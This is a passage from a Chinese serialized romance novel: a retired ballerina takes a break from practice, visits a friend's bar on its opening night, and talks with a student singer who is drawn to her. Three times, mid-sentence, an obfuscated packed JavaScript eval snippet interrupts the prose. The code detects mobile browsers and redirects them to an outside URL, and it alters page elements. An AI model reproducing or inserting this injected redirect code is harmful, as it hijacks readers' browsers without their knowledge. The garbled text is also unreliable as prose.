自那天尝试后,柳冬意每天都来磨几个小时的基本功。现在再跳这支曲子,灵敏度和韵律感都回来了不少。 前面的段落还算顺利,标志性的单脚尖连续旋转虽不如当年流畅,但至少没出错。 音乐进行到小跳组合,上次就是在这里,她明显感觉到脚踝发晃。 脚背绷紧,收紧膝盖。 柳冬意屏息立脚起跳。 脚尖稳稳落地,没有晃。 但,本该是羽毛般悄无声息的落地,发出了轻微的闷响和更明显的膝盖缓冲。 这声音清晰地传进柳冬意耳朵里,她猛地停了下来。 镜中的自己不断喘息,她很清楚,若不停下,后面的失误只会更大。光是这个带瑕疵的落地,就已耗去她十二分精力。 关掉音乐,她拿起杯子走到窗边。 冷风从缝里挤入,让她身体里那团焦灼慢慢降温。 她倚靠墙边,望向窗外。 冬雪早已消融殆尽,露出底下湿润的泥土和枯草,落叶枝干漆黑如剪影。 天空常是凛冽的苍蓝色,今日云层厚重,瓦红砖墙显得黯淡,水泥地一片冷灰。 世界卡在深冬与早春之间,一片浑浊的色调,同她胸腔里那口吐不出的闷气纠缠在一起,沉沉下坠。 她试图再次呼气,想将那股盘踞在胸口的闷气彻底呼出去。可窗缝钻入的冷风,总蛮横地将那口气推回她的喉咙,噎得人心口发痛。 柳冬意不想关窗,密闭的舞蹈室,挂满整面墙的镜子,像一盏玻璃罩把她困住,逼人直视自己的力不从心。 目光无意扫过窗台,手机静静躺在那里。 她伸出手解锁,点开相册里的一张照片。 照片上的她,抱着一座奖杯。 柳冬意记得很清楚,这是自己在瓦尔纳比赛里赢来的荣誉。为了那一场比赛,她几乎榨干了自己所有的力气,也几乎榨干了她和周敛之间本就不多的相处时间。 整整六个月,她们没有见面,每天只能通过几分钟的电话维持联系,声音在电流中传递,却常常因为她的疲惫和他的沉默,变得断续而陌生。 那会甚至连绘珊都怀疑他们是不是分手了。 她没有分,她扛住了,捧回了奖杯。 而周敛也没有错过这一刻,庆功宴结束的时候,他一身风尘仆仆,出现在瓦尔纳的酒店门口。 但拍照时他却还是同往常一样拒绝,所以照片里,总是只有他的一部分影子。 回忆到这,戛然而止。 柳冬意又一次尝试着呼出那口闷气。 可现在,周敛不再是她情绪的出口,而是无数个堵塞情绪,无法呼吸的谜团。 察觉到自己仍在原地打转,她打开手机,想要放些音乐来转移一下注意力。但翻了一下音乐列表,清一色的练习曲。 手指悬在半空,柳冬意沉默想着。 生活里,除了芭蕾,还有什么? 这个问题让她感到一阵茫然,生命的后二十多年几乎全部被它填满。 可此刻,她只想逃离,哪怕只是片刻。 思绪在混乱中飘荡,一道歌声,拽住了她。低沉又醇厚的木质音,带来脑海中那个完全不匹配这声音的身影。 凭着模糊记忆,柳冬意在搜索框输入了依稀记得的歌词。 但不知是否软件没有收录,还是自己记错了词,她点开好几首都不是那天他唱的歌。 无奈,她只好随便点开了一首,而后,清澈又带着点沙砾质感的女声从播放器里传来。 “听见冬天的离开,我在某年某月,醒过来…” 柳冬意静静听着,视线再度看向窗外。 世界依旧是那片混沌而沉闷的灰调,湿冷的深褐泥土,衰败的砂金枯草,墨黑的枝干剪影,黯淡的瓦红墙砖,沉重的冷灰水泥…… 一切仿佛凝固在永恒的冬日里。 “…我遇见你是最美丽的意外。” “总有一天,我的谜底会解开…” 歌词轻轻散去,突然,四四方方的窗户里,一个穿着亮红色棉袄的小女孩闯了进来。 浓墨重彩的一笔,洒在这片灰暗的底色里。 “柳老师再见~” “老师再见!” 学生们摆着小手,纷纷向柳冬意道别。她笑着挥手回应,等人都走了,才收拾好东西,去浴室简单洗漱了一下,便动身前往绘珊的酒馆。 舞蹈室不远处的街角,卖车轮饼的小贩已经出摊。柳冬意买了个红豆馅的,纸袋透着温热的暖意,捂在掌心,权当是晚餐。 她又顺路走进花店,抱了一束玫瑰走上地铁。 抬头数着线路图的光点,她在心里默算时间。 到零度酒馆时,正好七点半。 “你怎么这么早就过来了?” 原拓带着张博远来到吧台边,“我朋友今天想来玩一下,所以就早点过来了,顺便我也过来看看有没有什么能帮忙的地方。” “现在都还忙得过来,不缺人手。”唐绘珊目光扫过两人,带着东道主的热情,“看看你们想喝点啥,今天姐请客,算开业福利。” 原拓连忙摆手,“不用了珊姐,我们自己…” “哎呀客气啥,”唐绘珊打断他,“两杯酒的事儿,还能把我喝穷了不成,喝浓的还是淡的?要不姐给你们推荐两杯招牌。” 他还想推辞,张博远已经抢着接话,脸上堆满笑容,“谢谢姐,我们俩都不太能喝,您看着推荐点温和的就成。” “行,”唐绘珊爽快地递来一个发光桌牌,“去那边坐着吧,待会儿让人给你们送过去。” 原拓只好道谢:“谢谢珊姐。” 两人识趣地没有去占中央那些热闹的卡座,而是选了个相对安静的角落。 刚坐下,原拓的目光扫过店内一张张熟悉或陌生的面孔。 “看啥呢?”张博远也跟着伸长脖子张望,“找熟人吗?” 像是被窥破了心思,他慌忙收回视线,掩饰性地轻咳一声,“就看看有没有需要帮忙的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781435|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “人不都说忙得过来嘛,”张博远敏锐地察觉到异常,他俯身凑近,“你是不是紧张啊?” 要说紧张,确实有一点。原拓从没在这么多人面前唱过歌,更何况台下还有不少学校里的熟面孔。 可这些只占一小半。 另外那一大半心不在焉的理由,他说不清楚。 张博远见他默认,用夸张的语气给他打气,“别虚!就你这嗓子这张脸,今晚一亮相,明天什么滚石英皇华纳的经纪人,保准排着队堵咱宿舍楼下,哭着喊着要签你。” 他这一番玩笑让原拓绷不住笑了出来,心底那点无法言明的思绪,也被暂时冲淡下去。 没多久,两杯酒送到了小圆桌上。 一杯薄荷莫吉托,一杯椰林飘香。 原拓端起那杯莫吉托,试探性地抿了一口。带着丝柠檬甜味的液体滑入口腔,气泡在舌尖跳跃,随之而来的是一股他不太习惯的微苦。 张博远倒是适应良好,端起椰林飘香咕咚就是大半杯,喝完还满足地咂巴了两下嘴。 “这玩意儿不错啊,喝着还挺甜的。” “你一下子喝太多会不会不太好。” 原拓感觉不是很妙。 “这有啥,”张博远打了个嗝,“跟饮料不差不多么,喝不出个什么事来吧。” 然而他话刚说完,就发现自己脑壳晕晕的,脸颊边泛起两团红晕,活像只充了气的红气球。 见状,原拓赶忙去柜台找唐绘珊要了杯水,听到用途时还惹得她嘲笑了好久。 半杯水灌下肚,张博远缓过来些,再喝剩下的酒时谨慎了许多,只敢小口小口抿着。 快到八点,原拓将杯子里剩下的一点点莫吉托喝完,拎起靠在桌边的吉他。 “我去准备了。” 说完,他起身走向舞台后方的准备区。或许是不习惯喝酒,也或许是那点酒精的后劲慢悠悠地爬了上来。 原拓感觉自己的脸颊发烫,手心冒汗,脑袋也晕晕乎乎的,连带着酒馆里人影和灯光都开始摇晃。 指尖扫过吉他的琴弦,发出的声音似乎也染了慵懒的醉意,余韵拖得格外悠长,飘荡在嘈杂的背景音之上。 原拓索性把吉他靠在一旁,仰起头,抵在墙边。额前几缕碎发散开,露出那双琥珀色眼眸,映着天花板上一盏吊灯。 吊灯的灯泡在微醺的视野里,仿佛脱离了灯体,在他湿润的眼底,凝结成了一个小小的,剔透的金色泡泡。 泡泡轻盈得没有一丝重量,却包裹着他此刻唯一清晰又模糊的念想。 今天…她会来吗? 这念想不由他掌控,自顾自地推动着金色的泡泡,挣脱睫毛的束缚,飘出眼眶,飘过弥漫着酒香和热闹的空气,飘向那扇被推开的大门。 越飘越高,越飘越远, 几乎要触到门框上方悬挂的装饰风铃。 就在它即将飘出门外,融入那片未知的世界时,玻璃门被从外面推开。 一阵寒意的风,像一只无形的手,伸进屋内。 似乎只为戳破那金色的泡泡而来。 啵的一声。 细微,破碎,转瞬即逝。 无影无踪,仿佛从未存在过。 风尚未落定,门口的光影里,站着两个人。 一个抱着鲜花的女人,一个衣着笔挺的男人。 11. Chapter11 “你俩怎么一起过来了?”唐绘珊绕过台面,快步迎向刚进门的两人。 “门口碰到的,”柳冬意将手中的鲜花递了过去,“开业大吉。” “哎呀,来就来呗,还跟我还见外。”唐绘珊嘴上嗔怪着,眼角眉梢却全是笑意。 她接过花,随即眼神扫过自家老哥,落在他空无一物的双手上,那份嫌弃简直要溢出来。 唐文聿推了下鼻梁上的眼镜,仿佛没接收到妹妹无声的控诉,只问:“我们坐哪?” 唐绘珊重重嘁了一声,将鲜花安置在吧台最显眼的位置后,这才转身带着两人走向靠窗一处相对安静的座位。 柳冬意拉开椅子坐下,背对着舞台,唐文聿则在她对面落座,似是才下班过来,身上还穿着西装打着格纹领带,一身浓浓的商务风与酒馆里的气氛格格不入。 唐绘珊双手撑在桌沿,“喝点什么?” “白开水。” “喂,老哥!”她扶住额头,一脸痛心疾首,“这是酒馆,开业第一天,你进来就要白开水,存心来砸我场子的吧。” 她瞪着唐文聿,试图用眼神谴责他。 他抬头,毫无波澜地迎上妹妹的目光,沉声道:“酒驾,罚两千块。” 理由充分,逻辑严密,无懈可击。 唐绘珊被噎得一口气差点没上来,一个字都反驳不出,只能狠狠瞪他一眼,转而把目光投向柳冬意。 每次看绘珊在她哥面前吃瘪又无可奈何的样子,柳冬意总会忍不住弯起唇角。 “好啦,”她出声打圆场,“你给我推荐一杯吧,我喝什么都可以,度数低一点的就行。” “没开车吗?” 问话的人,是唐文聿。 “嗯,我车借给我堂妹了,她要带学生去外地比赛,一辆车坐不下。” “啊?你怎么不早跟我说,”唐绘珊一听就喊了起来,“我直接过去接你啊。” “没关系,地铁是直达的,也很方便。” “再方便这个点也挤死人了,亏你还抱了那么大一束花。”唐绘珊无奈叹了口气,拿她的客气没办法,“那你俩在这等一会,我过去给你们拿点吃的喝的。” 她风风火火离开,似一阵热闹的风掠过,留下的空气却骤然沉寂下来。 柳冬意对唐文聿的印象,始终停留在去绘珊家时偶尔的点头之交,以及她口中那个无趣又冷淡的哥哥形象。 所以此刻面对面坐着,中间只隔着一张窄桌,她找不到合适的话题来填补这空白的距离。 “听绘珊说,你在一个舞蹈室上课。” 无言最终被唐文聿打破。 柳冬意自然而然地接上。 “对,是我堂妹开的一个舞蹈室。” “教芭蕾吗?” “嗯,教一些七八岁的小孩子。” 唐文聿眉头微微皱起,感到些许意外。 毕竟她在芭蕾上的成绩,他是知道的。 “还适应吗?”他问。 “挺好的,”柳冬意弯唇,眼中带有笑意,“那些小孩子都挺可爱的,学得也很认真。” 唐文聿的眉头渐渐舒展开,还想要开口说些什么时,一个抱着吉他的男生走上了前方的舞台。 台下的喧闹仿佛被无形的海绵吸去了一大半,客人们好奇的目光纷纷投在他的身上。 他坐上高脚凳,始终低着头,手指虚悬在琴弦上。麦克风将一声声沉重的呼吸放大,如同鼓点,敲在寂静的空气里。 这沉默持续得太久,久到台下已开始响起窸窣的疑问。终于,男生呼出一口长气,随后手指落下,拨动琴弦,唱出了第一句歌词。 唐文聿对音乐表演什么的兴致缺缺,收回视线想要继续方才被打断的话题,却发现对面的柳冬意已经转过头,目光越过椅背,投向舞台。 她看得那样专注,那些已到嘴边的话,只能被无声咽了回去。 “怎么样冬意,这听真人唱歌是不是别有一番味道?”唐绘珊端着托盘走了过来,见柳冬意听得出神,语气不禁带上几分得意。 她拉开椅子,将托盘放到桌上,连声感叹。 “诶,怎么这么会唱呢,唱得我心都要碎了。” 柳冬意的目光仍追随着舞台,轻声问道:“绘珊,这个男生…是你招来的?” “对啊,”唐绘珊下意识地回答,随即觉得对方这问题问得有些蹊跷,她顺着对方的视线看向原拓,脑中灵光一闪,“怎么,你认识他吗?” 一旁喝着白开水的唐文聿也抬起眼,眼神穿过镜片,落在柳冬意身上。 在两人探寻的目光中,她略一点头,将除夕那晚的事情简要说了一遍,不过删除了抢劫的那一部分,只说自己在广场遇到原拓在卖唱。 “所以你之前特意问我认不认识修吉他的人,就是为了他?”唐绘珊恍然大悟。 “嗯,后来你说酒馆还差歌手,我第一个就想到了他,但我跟他说的时候你们酒馆已经招满了,”柳冬意笑了笑,也觉得奇妙,“没想到,他还是来了。” “原来是这样,”她兴奋地轻拍了下桌子,“我就纳闷呢,怎么那晚上突然又跑了回来,唱得又好,条件提得又低…这缘分可真够巧的。” “条件提得低?” 柳冬意捕捉到了这句话。 唐绘珊叹了口气,“是啊,本来谈好一小时一百,他主动说可以唱两小时,只要一百五。” “那你记得给他的嗓子买个工伤保险。” 唐文聿突然插了一句。 “哥!你怎么总能一张嘴就破坏气氛!” 他放下那杯白开水,“我是替你规避潜在风险。” “闭嘴吧你,”唐绘珊送他一个大大的白眼,“你不说话没人把你当哑巴。” 她懒得再理他,转头又看向柳冬意,语气变得犹豫,“诶,冬意,你说…我要不要私下给他涨点工资?” 柳冬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781436|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意沉吟片刻,垂眉思索着,随后摇了摇头,“我想他既然觉得两个小时一百五比较好,就按照他的想法来吧,这对他来说或许也是一个可以安心的价格。” 唐绘珊似懂非懂,但还是选择相信她的判断,“好吧,听你的,涨薪的事以后熟了再说。” 他们两兄妹又聊起了酒馆装修和开业期间的琐事,柳冬意侧过身,视线再度投向舞台。 他正唱着一首很安静的歌,是歌声的魔力,还是他的魔力。整间酒馆,连同这个刚刚拉开帷幕的夜晚,都被他歌词里那种浓得化不开的情绪浸泡,静了下来。 当然,她也不例外。 最后一个音符,像一声叹息,飘散在温暖的空气里。掌声先是零星响起,而后迅速连成一片,变得热烈,在屋内回荡。 而原拓,却始终盯着脚前的那一小片地板,眼神埋在阴影之中,不曾抬起。 他很清楚自己唱得不对。 喉咙里像被一团吸满水的海绵堵住,每一次换气都沉重费力,挤压出的声音连自己都听得窒息。 他不知道这是怎么了。 自己是谁呢,算什么呢,又凭什么呢。 凭什么在她面前失态?凭什么为这点微不足道的交集心绪难宁? 他们算什么?不过是见过两面的陌生人。 更何况,她那枚无名指上的钻戒,他早就看得分明。 但原拓管不住。 管不住那密密麻麻的酸意,它们像藤蔓一样疯长,绞紧了他的心脏,蚕食了他所有试图轻松的情绪。 最终,一首本该洒脱的歌,每一个字都灌满了铅,唱得又沉又坠,满是消不去的愁情。 唱完了前半场,到了唐绘珊规定的十分钟休息时间,原拓几乎是逃似的回到了后台那块狭小阴影里。 喉咙深处泛起干涩的灼痛,他没有坐下,只是背靠着墙壁,仰起头。 天花板上仍然是那盏灯。 那盏曾在他的眸中,幻化出金色泡泡的灯。 可原拓此时是清醒的,无比清醒。没有了酒精加热后的朦胧水雾,也就吹不出能暂时承载妄念,轻盈又易碎的泡沫。 他低下头,一声极轻的笑从喉咙深处挤出,塞满了无处可逃的自嘲与苦涩,碎在吵闹的空气里。 是啊,无论自己如何狡辩,为了希希跳舞的学费,也难掩自己已经无耻地越过了界限。 这喉咙的灼痛,心口的堵塞,都是应得的。 他活该受着。 “原拓。” 忽然,一声轻唤自前方传来,熟悉的声音让原拓心脏骤然攥紧,猛地抬头看去。 视野因急速移动而模糊晃动,方才凝视灯光留下的残影尚未褪尽,那颗因清醒而未能吹出的金色泡泡,脱离了控制,倏然滴落。 它晃晃悠悠地飘向她,在她周身无声延展,最终将她的身影温柔地包裹。 她就站在那,柔软而虚幻的泡泡中央,美好得不像话。 12. Chapter12 Look at “给。” 看到那只递到眼前的杯子,原拓有瞬间的怔忪,像是没理解这个动作的含义。 但意识很快追上,伸出手,接下了那杯水。 指尖触碰到杯壁,是温热的。 热度源源不断地传递到他的手心,带着某种灼人的烫意,一路蔓延到耳根。 柳冬意在他旁边的椅子坐下,两人之间隔着一个恰到好处的空位,没有近到令人不安,也并非远到让人疏离。 “还好吗?” “什么?” “我是指你的嗓子,还好吗?” “没什么问题。”他握紧杯子,低声回应。 柳冬意察觉他情绪不对劲。 从他唱第一句起,她就感觉到了。 “刚刚我看台下反响挺好的,大家好像都很喜欢听你唱歌。”她尝试让语气放轻松些,“连绘珊也偷偷跟我说,能招到你真是捡到宝了。” 原拓知道,她在鼓励自己,不要紧张。 用她一贯温柔的方式。 他握着杯子的手指松动了一下,“是我该谢谢珊姐给我的这个机会。” “这机会也是靠你自己的实力争取来的,”柳冬意偏过头看他,“不要妄自菲薄,你唱得真的很好听。” 其实他更想听她说点别的,什么都好。 但这念头刚冒出来,就被他按了回去。 “我知道了,”原拓再开口时,声音稳了些,也淡了些,“谢谢您。” 柳冬意看了眼表,知道他休息时间有限,“你好好休息,不要太紧张,放轻松些。” 见她起身,一股没由来的慌乱抓紧心脏,他几乎是凭着本能张开了嘴,想要挽留,或是说点什么。 可最终说出的,却只是一句,“再见。” “嗯,拜拜。” 说完,原拓看着她,慢慢转身,往外走去。 他的眼神,仿佛要将她的每个动作都记进脑子里,为他们之间,仿佛是最后一面。 忽然,那道走向门口的身影停住。 毫无预兆地,她转过身,正好撞进他来不及收回的凝望里。 原拓垂在腿侧的手猛地蜷起,眼神也定在她脸上,忘了移开。 柳冬意被他这失神的反应弄得有些困惑,轻声问:“怎么了吗?” “没,”他倏地敛眸,声音低哑,“没什么。” 那股异样的感觉仍未消散,但她并未多问,再次转身。 才走出两步,却想起什么似的又回头。 “原拓。” “嗯?”他迅速抬眸,像一直在等待。 “其实你就像叫绘珊那样叫我就好,不用那么客气。”她眉眼微弯,笑着说道。 他望着她,她的名字,在脑中不断盘旋。 柳冬意。 柳冬意。 “冬意…” 原拓喉结滚动了一下,像用尽所有力气,才轻轻吐出那个后缀。 “姐。” 等到她的身影彻底离开,原拓坐回椅子上。 那杯水还在一旁搁着,散发着余温。 他重新拿起,凑到唇边,抿了一口。 温热的带着异样苦涩的蜂蜜水,滑过喉间,像一场突然降临的大雨,浸润了每一寸枯涸。 回到座位,柳冬意拎起自己的包。 “冬意,我给你叫辆车吧,别挤地铁了。”唐绘珊语气里满满歉意,要不是实在抽不开身,她定要亲自送她回去。 柳冬意摇摇头,一句不用还没说出口,坐在对面的唐文聿已站起身。 “我送你,正好我也要走了。” “可以可以,”见老哥帮忙,唐绘珊连忙应声,“冬意,就这么定了,让我哥送你,你别再推了。” 话已说到这个份上,再拒绝反倒显得矫情和生分。 “好吧,那就麻烦你了,文聿哥。” 走到门口,推门的刹那,一道歌声从身后追来。 “Lookatthestars,” “Lookhowtheyshineforyou,” “Andallthethingsyoudo…” 柳冬意下意识回头,目光拨开攒动的人群,不偏不倚,撞进原拓望过来的眼睛。 清晰,分明,一如夜空中最亮的那颗星。 心头微动,她朝他轻轻点头,才推门离去。 唐文聿的车停在对面街边的停车场,两人前一后沉默地走着,月光将他们的影子在人行道上拉长,却始终保持着礼貌的平行,未曾靠近,也未曾交集。 方才酒馆里暖气太足,此刻冷风一吹,柳冬意禁不住打了个寒颤,拢紧衣领,轻轻吸了吸鼻子。 忽然,那道稍微宽阔的影子慢慢靠近,不露声色地调整了位置,恰在她和风来的方向之间,挡住了那阵最直接的寒意。 一直到坐上车,气氛都是安静的。 柳冬意觉得这样也好,大概唐文聿也是享受沉默的人,就没有贸然开口打扰。 黑色轿车缓缓汇入车流,她靠着头枕,望向窗外。 弦月如钩,星星寥落。年轻的身影在街头欢笑穿行,蓬勃的朝气,连深沉的夜也无法吞没。 莫名的,那个坐在台上的身影,闯入她的脑海。 他抱吉他坐在那里,周遭声音如潮水退去,整个世界仿佛只剩下他和他的琴音。 其余一切,都成了模糊的背景。 那一刻,柳冬意忽然懂了多年前老师对她的那句评价。 “当你站上舞台的时候,芭蕾只为你而存在。” 二十一岁时听到的话,直到三十二岁这年,某个寻常的夜晚,才真正懂得。 柳冬意不禁扬唇,不知这领悟,算早还是晚。 “怎么了?” 唐文聿突然出声询问,让柳冬意怔愣一瞬。 自己刚刚…笑出声了吗? “没有,就是想到了一些事情。” “嗯。” 发出一个单音,车厢里又归于沉寂。 济北大学离柳冬意住的地方不远,再过一个十字路口,就到了。 红灯正好亮起,车缓缓减速,停在车流末尾。 “你…未婚夫最近有消息吗?”唐文聿声音不高,在昏暗里显得些微模糊。 没料到他会问起周敛,柳冬意眼底闪过一丝讶异,随即眼睫垂下,掩去所有情绪。 “没有,或许没消息,就是最好的消息吧。” “需要帮忙吗?” “我已经拜托专业的人去调查了。” “好。” 绿灯亮起,话题自然而然地结束。 十字路口过去,车停在了小区门外。 “麻烦你了文聿哥,”柳冬意松开安全带,习惯性叮嘱,“回去的路上注意安全。” 说完,就伸手去拉车门。 不过,门才开一条缝隙,身旁传来声音。 “冬意。” 她回头,见唐文聿眉眼隐在灯下的阴影里。 片刻,他伸手探入大衣内袋,取出一张卡片。 “这是我的电话,”他递过来,“如果有需要,随时可以打给我。” 柳冬意看向那张名片,深黑纹理,烫金字体。 写着君齐律师事务所,唐文聿。 “好,”接过名片,柳冬意试探说,“那…我就先回去了。” 车门关上,唐文聿的目光透过车窗,追随着那道渐行渐远的身影,直至彻底融入夜色,再也看不见。 时针走到十点,原拓唱完最后一首,背起吉他走向吧台。 “辛苦了。” 唐绘珊话音未落,手一扬,一件东西划着弧线飞来。 原拓本能抬手接住,摊开手心,是片润喉糖。 “谢谢珊姐。” “客气啥,”她将手肘撑在台面上,眼神兴奋,“你今晚可真是让我大开眼了,不仅歌单不重样,而且首首都压得住场,厉害啊。” “是啊,没想到你小子英文歌也唱得这么溜,偷偷上哪儿进修了?改天也教教我呗。”张博远不知何时也凑到了吧台,声音冷不丁地从身后冒出来。 原拓撕开糖纸,将那片糖放入口中。 浓郁的雪梨甜香混合着薄荷的清凉,迅速在口腔里蔓延开来,暂时抚平了喉中的不适。 “其实听得多了自然就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781437|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会了。”他说。 “那我天天听姆爷的歌,咋一句没学会?”张博远用胳膊肘轻撞了他两下,“我看你小子指不定唱歌真有点天赋。” 原拓扯扯嘴角,无奈地笑。 “你换点慢歌听也能找到天赋的。” “嘿,听不出来我夸你呢?” 张博远觉得这小子简直是块榆木疙瘩。 “听出来了,”他拍拍他的肩膀,转向唐绘珊,“珊姐,时间不早,我们就先走了。” “等等。” 她喊住他,转身在柜台下摸索片刻,再转回来时,手里捏着一个信封。 “给,今天的。” 原拓一怔,“不是说好月结吗?” “我后来想了想,日结更方便,”唐绘珊把信封塞进他手里,“省得我月底还得算你来了几天,麻烦。” “可…” 她没给他拒绝的机会,“快回去吧,别搞晚了回不去宿舍。” “好吧,”原拓将信封放进口袋,“谢谢珊姐,那我们先走了。” 张博远也扬手,“珊姐再见!” 推开门,两人离开了酒馆。 “没想到这地儿还挺有意思,我跟你说,我刚还瞅见咱班那红毛学霸了,真没想到他也会来,而且旁边好像还坐了个…” 张博远喋喋不休,走了几步才发现身边安静得过分。他扭过头,只见原拓眼神放空,步子机械,魂儿早不知道飞哪儿去了。 “喂,琢磨啥呢?” 原拓意识回拢,下意识摇头。 “没什么。” “真的吗?”张博远凑到他眼前,“我咋感觉你好像不是很高兴呢?” “可能是唱太久,有点累了吧,”他嘴角提起一个笑,转移了话题,“你刚刚说何风怎么了?” “我刚刚看他好跟一个女生坐一起在,看起来不像是咱们专业的。” “可能是别的学院吧。” “我感觉不像,”张博远双手插进兜里,“那女生头发染得那叫一个炫,跟彩虹一样,五颜六色的,要咱们学校的我肯定有印象。 依着张博远这个描述,原拓仔细回忆了下,确实找不到任何一个能对得上号的身影。 “那是隔壁美院的吧。” 他暂且只能得出这个结论。 张博远点点头,“也是,看着就挺有艺术生那气质的。” 两人到公交站时,正好赶上最后一班开过来。 等回到宿舍,洗漱完,十一点半。 平常这个时候,原拓早就睡了,可现在他的脑子异常清醒。 宿舍已经关灯,靠右的床头发出细微的鼾声。 原拓点开自己的小台灯,从外套里取出信封。 抽出一看,一百五十整。 他的肩膀猛地松垮下来。 他怎么会想不到,唐绘珊突然改成日结,并不是因为什么怕麻烦。大概率是从柳冬意那里听说了什么,才选择用这种方式来帮助自己。 当初自己提出多唱一个小时,就已经是破坏了规定,如果再因为这份心意多占便宜,往后他怕是也不知道该怎么面对这份好意。 拉开抽屉,原拓拿出钱包,将今晚的收入和里面原有的纸币一并取出,在桌面上仔细清点。 一共925元。 距离少儿基础班的3500,还差2575。 但便利店的兼职工资快发了,五月之前,应该能凑齐。 只是,自己还… 晃了晃脑袋,原拓不再多想。济北肯定有其他的芭蕾舞蹈班,自己到时候去找找看就好了。 将钱重新塞回钱包,夹层深处,有一张白色便签。 是那张柳冬意写下的,她先生号码的便签。 视线落在号码旁的周敛二字,原拓眼前仿佛又浮现他们并肩而立的样子。 那么般配,像一幅浑然天成的画。 而自己的身份,连欣赏这幅画的资格都没有。 突如其来的,一股莫大的疲倦涌上心头。 他将便签仔细叠好,连同那个旧钱包,收进了抽屉最深处。 台灯熄灭,如一道无声的叹息,在这个难眠的夜里。 13. Chapter13 经过周五在酒馆的亮相,学校贴吧里已有人发帖询问原拓的联系方式。作为冲浪高手兼当事人室友,张博远自然不会错过这个机会 他抄起手机,嘴角一扬,手指飞快地解锁屏幕,眼看就要在贴吧里来个网络一线牵。 原拓反应极快,一把按住他蠢蠢欲动的手,“真的别,人家可能只是觉得唱歌还行,未必真有别的意思。” “陌生人哪有一上来就奔着谈恋爱的,不都是先有个由头认识,慢慢相处才水到渠成的嘛,”张博远把手机反扣在桌面,“难不成你真打算大学四年就这么单下去?” 原拓表情顿住,随即垂下眉头,低声道: “顺其自然吧,现在也没时间和精力想这个。” 听他语气认真,张博远收起了调侃,“行吧,不爱情这玩意儿讲玄学,缘分来了挡不住。与其快餐,不如等真爱。” 原拓没接话,只扯起嘴角,露出一个似是而非的笑。 老师走进教室,话题戛然而止。 即便换了位思政老师,讲到一半回顾前半生并进行深刻剖析的习惯却一脉相承,这时学生们便可以心安理得地开始放空,发呆,开小差。 以及,原拓看了眼身旁已经呼吸均匀的张博远,睡觉。 当然,他也不能免俗,目光虽停留在书页上那些深奥的哲学理论和唯物史观之间,思绪却早已在字里行间漂浮,延续着方才未竟的话题。 爱情。 他听过的绝大部分歌,绝大部分电影,都在讲述这件事情。嬉笑怒骂,爱恨嗔痴,似乎都能在这个词语里找到注解。 所以原拓总觉得,这是一件格外复杂的事情。 好比那十六阶魔方,转上一百遍,就有一百种不同的图形。 但,魔方怎样转,都转不出第七种的颜色。 他想来想去,词语的解释,都是她的身影。 原拓不明白,这就是爱情吗? 如果从他听过的歌词中来寻找佐证,从酒馆那晚不受控的酸涩中来感受,从她身影频繁浮现的瞬间来印证…他想,直觉和本能早已将他推到了答案边缘。 可只是如此,就够了吗? 爱情,真的会在如此短暂的时间内发生吗? 原拓不敢再深想下去。 他怕自己是肤浅的。 对她,他不想,也不该是肤浅的。 更何况,那个答案于他而言, 本就是指尖不能触碰的滚烫。 抬起手肘,原拓抵着额间,目光转向窗外。 今日天气晴。 天空碧蓝如洗。 云很轻。 此刻的她…正在做什么事情? 思绪乘着候鸟,成群结队,往北方飞。 飞过绵软的白云,掠过弯曲的天际线。 越过沸反盈天的广场,穿梭高楼大厦之间。 它们栖落于城市的某个十字路口。 与人群中,那抹湖蓝色身影,在红灯前交汇。 倒数结束,绿灯亮起,她迈步踏上斑马线。 候鸟也再度启程,驮着整片天空,继续向北。 推开餐厅的门,暖香与冷气同时迎面而来,跟随服务生的引导走向窗边,柳冬意一眼看见坐在窗边的柳荨。 她拉开对面的椅子,“点好了吗?” “差不多了,你看看还要加什么?这儿口味偏淡,都不怎么辣。”柳荨说着,将菜单推过来。 柳冬意只快速扫了一眼,“可以了。” 确认完点单,服务员便离开。 “比赛成绩怎么样?” 一提这个,柳荨挺直的背瞬间垮了下来,声音都没了精神,“别提了,比倒数第一就多三分。” 柳冬意端到嘴边的茶水顿住,“怎么会?平常在舞蹈室不是跳得很好吗?” “上台前是都好好的,但一表演就四肢僵硬,好几个连动作都忘了。”柳荨叹气,单手支着下巴,“主要是她们中最大的也才十二岁,平常光在舞蹈室练,根本没什么舞台经验。” 她抬起眼,双目茫然。 “堂姐,你说这种情况该怎么办啊?” 柳冬意明白她的焦虑,为了这个少儿舞蹈班,她倾注了不少资源和心血,如果拿不出像样的成绩,不仅影响口碑,还可能引来家长对教学质量的质疑,流失生源。 只是眼下,市内能提供的少儿芭蕾舞登台表演的机会实在太少,仅靠比赛积累经验,周期又太长。 